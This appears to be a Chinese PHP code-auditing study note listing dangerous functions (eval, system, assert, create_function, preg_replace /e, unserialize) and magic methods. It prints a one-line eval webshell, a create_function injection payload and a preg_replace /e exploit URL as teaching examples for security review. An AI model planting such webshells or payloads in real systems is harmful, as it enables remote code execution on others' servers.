eval()
函数eval()
函数可以执行传递给它的字符串作为 PHP 代码。如果不谨慎处理用户输入,可能导致恶意代码执行。
常见的一句话木马就是由这个构成
eval($_REQUEST[6]);?>
exec()
函数exec()
是 PHP 中用于执行外部命令的函数之一。它允许你执行系统命令,并返回最后一行输出。这个函数的用法如下:
string exec ( string $command [, array &$output [, int &$return_var ]]
$command
是要执行的命令。$output
是一个可选的数组参数,用于存储命令的输出结果。$return_var
是一个可选的整型参数,用于存储命令执行的返回值。shell_exec()
函数shell_exec()
是 PHP 中执行 shell 命令的函数之一。它会执行系统命令,并返回命令的输出作为字符串,类似于使用命令行执行命令并捕获输出。
使用示例:
string|null shell_exec ( string $cmd )
system()
system()
是 PHP 中用于执行外部命令的函数之一。它允许你执行系统命令,并将输出直接打印到输出流或者作为字符串返回。
使用示例:
string|null system ( string $command [, int &$return_var ] )
system()
是 PHP 中用于执行外部命令的函数之一。它允许你执行系统命令,并将输出直接打印到输出流或者作为字符串返回。
phpCopy code
string|null system ( string $command [, int &$return_var ] )
$command
是要执行的命令。
$return_var
是一个可选的整型参数,用于存储命令执行的返回值。
array_map()
函数array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给array_map()函数的数组数目一致。
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map("assert",$array); //等价于 ==> assert($cmd);
assert()
函数与eval类似,字符串被 assert() 当做 PHP 代码来执行
和eval的区别在于,eval一次性可以执行多条语句,但是assert()一次性只能执行一条(函数)。
如果传参为多条语句,assert只能执行第一条
create_function()
函数create_function主要用来创建匿名函数,create_function()函数会在内部执行 eval()
如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令
使用示例:
$myfunc = create_function('$name','echo "hello".$name;');
相当于:
function myfunc($name) {
echo "hello".$name;
}
攻击示例:
$id = $_GET['id'];
$code = 'return $a."_"'.$id.';';
// 动态创建函数
$func = create_function('$a', $code);
// 调用
$func(1);
payload: ?id=;}phpinfo();/*
call_user_func()
函数调用回调函数,并把一个数组参数作为回调函数的参数
使用示例:
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array=array($cmd);
call_user_func_array($func,$array);
unlink()
和文件删除相关函数unlink()
是 PHP 中用于删除文件的函数。它接受一个文件路径作为参数,并尝试删除指定的文件。
$filename
是要删除的文件路径。$context
是可选的上下文参数,通常在使用流上下文时使用。unlink()
可以被用来删除文件,但是如果不谨慎使用,可能导致安全风险,特别是当文件路径来自用户提供的数据时。
preg_replace()
函数语法:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
返回值:
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下返回没有改变的 subject。
如果发生错误,返回 NULL。
危险点:
@preg_replace("/abc/e",$_REQUEST[6],"abcd");
?>
首先 p a t t e r n ,一定要能在 pattern,一定要能在 pattern,一定要能在subject中匹配到
其次要加上/e修饰符replacement 才能被当作代码来执行
$pattern=$_GET[1];
$subject=$_GET[2];
@preg_replace($pattern,$_REQUEST[6],$subject);
http://192.168.13.1/rce/shell.php?1=/abc/e&2=abcd&6=phpinfo();
代码审计重点判断参数是否可控
拓展:
但是/e参数要注意PHP的版本。
serialize()
函数用于将变量序列化为一个字符串
使用 serialize()
函数非常简单,只需将要序列化的变量作为参数传递给函数即可。这个函数可以序列化包括但不限于整数、浮点数、字符串、数组和对象等 PHP 数据类型。
用法:
$data = ['apple', 'banana', 'orange']; // 要序列化的数组
$serialized_data = serialize($data); // 序列化数组
// 输出序列化后的字符串
echo $serialized_data;
下面是 serialize()
函数的基本用法示例:
unserialize()
函数执行相反的操作,将序列化的字符串转换回原始的 PHP 值。
要恢复序列化后的字符串为原始的 PHP 变量,可以使用 unserialize()
函数:
$original_data = unserialize($serialized_data); // 还原序列化后的字符串为原始数据
// 输出还原后的数组
print_r($original_data);
以上两个都是序列化漏洞的起点
__construct()
函数构造函数,在对象被创建时自动调用,用于初始化对象。
class Person {
public $name;
// 构造函数
public function __construct($name) {
$this->name = $name;
echo "A new person {$this->name} has been created.
";
}
}
// 实例化对象时自动调用构造函数
$person = new Person("Alice");
__destruct
函数析构函数,在对象被销毁时自动调用,通常用于释放资源或执行清理操作。
class MyClass {
public function __construct() {
echo "Object initialized.
";
}
public function doSomething() {
echo "Doing something...
";
}
public function __destruct() {
echo "Object destroyed. Cleaning up...
";
}
}
// 创建对象
$obj = new MyClass();
// 执行一些操作
$obj->doSomething();
// 当对象超出作用域或显式销毁对象时,__destruct() 方法会被自动调用
unset($obj); // 或者 $obj = null;
__get()
和__set()
分别用于在获取和设置不可访问属性时调用。__get()
在读取不可访问属性时被调用,__set()
在给不可访问属性赋值时被调用。
class MyClass {
private $data = [];
public function __get($name) {
echo "Trying to access undefined property: $name
";
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
} else {
return null;
}
}
public function __set($name, $value) {
echo "Trying to set undefined property: $name to $value
";
$this->data[$name] = $value;
}
}
$obj = new MyClass();
// 尝试访问不存在的属性
echo $obj->undefinedProperty; // 触发 __get() 方法
// 尝试设置不存在的属性
$obj->anotherUndefinedProperty = "Value"; // 触发 __set() 方法
__isset()
和 __unset()
分别在对不可访问属性使用 isset()
和 unset()
时调用。__isset()
用于检查不可访问属性是否已设置,__unset()
用于释放不可访问属性。
class MyClass {
private $data = [];
public function __isset($name) {
echo "Is '$name' set?
";
return isset($this->data[$name]);
}
public function __unset($name) {
echo "Unsetting '$name'
";
unset($this->data[$name]);
}
}
$obj = new MyClass();
// 检测未定义的属性是否设置
isset($obj->undefinedProperty); // 触发 __isset() 方法
// 取消设置未定义的属性
unset($obj->anotherUndefinedProperty); // 触发 __unset() 方法
__call()
和 __callStatic()
分别在调用不可访问方法或静态方法时调用。__call()
用于处理不可访问方法的调用,__callStatic()
用于处理不可访问的静态方法的调用。
class MyClass {
public function __call($name, $arguments) {
echo "Calling method '$name' with arguments: " . implode(', ', $arguments) . "
";
}
public static function __callStatic($name, $arguments) {
echo "Calling static method '$name' with arguments: " . implode(', ', $arguments) . "
";
}
}
$obj = new MyClass();
// 调用不存在的方法
$obj->undefinedMethod('arg1', 'arg2'); // 触发 __call() 方法
// 调用不存在的静态方法
MyClass::undefinedStaticMethod('arg1', 'arg2'); // 触发 __callStatic() 方法
__toString
函数当对象被当作字符串进行输出时自动调用,用于返回对象的字符串表示。
class MyClass {
public function __toString() {
return "This is a string representation of MyClass.";
}
}
$obj = new MyClass();
echo $obj; // 输出:This is a string representation of MyClass.
__clone()
当对象被克隆时自动调用,用于执行对象的克隆操作。
class MyClass {
public $value;
public function __construct($value) {
$this->value = $value;
}
public function __clone() {
echo "Object cloned.
";
}
}
$obj1 = new MyClass(10);
$obj2 = clone $obj1; // 克隆对象时触发 __clone() 方法
echo $obj2->value; // 输出:10